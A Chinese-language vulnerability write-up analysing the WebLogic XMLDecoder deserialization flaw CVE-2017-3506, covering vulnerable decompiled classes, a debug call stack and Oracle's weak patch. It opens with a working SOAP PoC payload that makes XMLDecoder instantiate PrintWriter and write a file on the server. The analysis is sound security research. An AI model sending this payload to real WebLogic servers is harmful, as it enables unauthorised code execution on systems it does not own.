Xmldecoder rce起源:cve_2017_3506
XMLDecoder RCE起源: CVE-2017-3506
0x00 描述
CVE-2017-3506是一个XML Decoder RCE,并且在这个漏洞之后,针对Oracle发布的补丁,又陆续出现了其他的绕过方式,出现了CVE-2017-10271,CVE-2019-2725等。
本文是介绍起源,即CVE-2017-3506。
0x01 PoC
Weblogic: 10.3.6
Post URL: http://172.16.100.97:7001/wls-wsat/CoordinatorPortType
Post Body:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
<string>xmldecoder_vul_test444</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
信息 1
##0x02 漏洞描述
本小节主要描述cve-2017-3506的漏洞代码。漏洞点主要是processRequest这个函数。
-
processRequest
weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class
public NextAction processRequest(Packet var1) { this.isUseOldFormat = false; if (var1.getMessage() != null) { HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true); if (var3 != null) { this.readHeaderOld(var3); this.isUseOldFormat = true; } Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true); if (var4 != null) { this.readHeader(var4); } } return super.processRequest(var1); }
信息 2
-
readHeaderOld
weblogic/wsee/jaxws/workcontext/WorkContextTube.class
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray())); ---3.1
this.receive(var6); ---3.2
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
信息 3
3.1处,readHeaderOld会构造一个WorkContextXmlInputAdapter实例,然后调用receive接收这个实例。漏洞点就在这里,注意这个WorkContextXmlInputAdapter
类,这是漏洞的根源,补丁也在这个类里面,以及后续衍变的其他漏洞也跟这个类/补丁有关系。
WorkContextXmlInputAdapter
的构造函数会直接new XMLDecoder,而3.2处的receive会调用到WorkContextXmlInputAdapter
的readUTF,即调用XMLDecoder的readObject,这是典型的xml decoder rce漏洞了。
- WorkContextXmlInputAdapter
weblogic/wsee/workarea/WorkContextXmlInputAdapter.class
public final class WorkContextXmlInputAdapter implements WorkContextInput {
private final XMLDecoder xmlDecoder;
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1);
}
public WorkContextXmlInputAdapter(XMLDecoder var1) {
this.xmlDecoder = var1;
}
public String readASCII() throws IOException {
return (String)this.xmlDecoder.readObject();
}
public WorkContext readContext() throws IOException, ClassNotFoundException {
...
}
public void readFully(byte[] var1) throws IOException {
byte[] var2 = (byte[])((byte[])this.xmlDecoder.readObject());
System.arraycopy(var2, 0, var1, 0, var2.length);
}
public void readFully(byte[] var1, int var2, int var3) throws IOException {
byte[] var4 = (byte[])((byte[])this.xmlDecoder.readObject());
System.arraycopy(var4, 0, var1, var2, var3);
}
public int skipBytes(int var1) throws IOException {
throw new UnsupportedOperationException();
}
public boolean readBoolean() throws IOException {
return (Boolean)this.xmlDecoder.readObject();
}
public byte readByte() throws IOException {
return (Byte)this.xmlDecoder.readObject();
}
public int readUnsignedByte() throws IOException {
return (Integer)this.xmlDecoder.readObject();
}
public short readShort() throws IOException {
return (Short)this.xmlDecoder.readObject();
}
public int readUnsignedShort() throws IOException {
return (Integer)this.xmlDecoder.readObject();
}
public char readChar() throws IOException {
return (Character)this.xmlDecoder.readObject();
}
public int readInt() throws IOException {
return (Integer)this.xmlDecoder.readObject();
}
public long readLong() throws IOException {
return (Long)this.xmlDecoder.readObject();
}
public float readFloat() throws IOException {
return (Float)this.xmlDecoder.readObject();
}
public double readDouble() throws IOException {
return (Double)this.xmlDecoder.readObject();
}
public String readLine() throws IOException {
return (String)this.xmlDecoder.readObject();
}
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}
public static void main(String[] var0) throws Exception {
...
}
信息 4
可以看到,在我调试的这个版本上,WorkContextXmlInputAdapter
类还未打上补丁,简单粗暴,构造函数里面直接生成XMLDecoder
实例,而下面各种方法直接调用readObject
。
##0x03 调试
上一小节描述了漏洞的关键代码,本小节描述一下PoC跑起来的调试信息。
先看下调用栈:
processRequest:38, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
信息 5
关于weblogic的请求处理流程,我在另一篇文章中已经介绍过了。
针对这个请求,响应的是weblogic.wsee.jaxws.JAXWSWebAppServlet
这个servlet的service函数,然后就一路向下走到了processRequest。
信息 6
注意栈上没有JAXWSWebAppServlet
的信息:
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
信息 7
这是因为JAXWSWebAppServlet
继承、重载和重写关系造成的,JAXWSWebAppServlet
本身没有实现service方法相关的代码,主要依靠父类的功能代码:
JAXWSWebAppServlet extends JAXWSDeployedServlet extends JAXWSServlet extends AbstractAsyncServlet extends HttpServlet
信息 8
大家有兴趣可以好好看看这个servlet的代码。
0x04 补丁
以下是针对CVE-2017-3506官方的补丁。
public WorkContextXmlInputAdapter(InputStream is) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
int next = false;
for(int next = is.read(); next != -1; next = is.read()) {
baos.write(next);
}
} catch (Exception var4) {
throw new IllegalStateException("Failed to get data from input stream", var4);
}
this.validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (SAXException | IOException | ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
}
}
信息 9
补丁中,WorkContextXmlInputAdapter的构造函数新加了一个validate的验证。但是validate的验证非常简单,就是SAX解析XML,看看标签是否有object,若有就退出。
因为补丁过于简单,很快就出现了CVE-2017-10271。
0x05 参考
- “缝缝补补的WebLogic:绕过的艺术” _https://www.freebuf.com/vuls/179579.html
- “SAX解析” _https://www.jianshu.com/p/1060abc8ed1e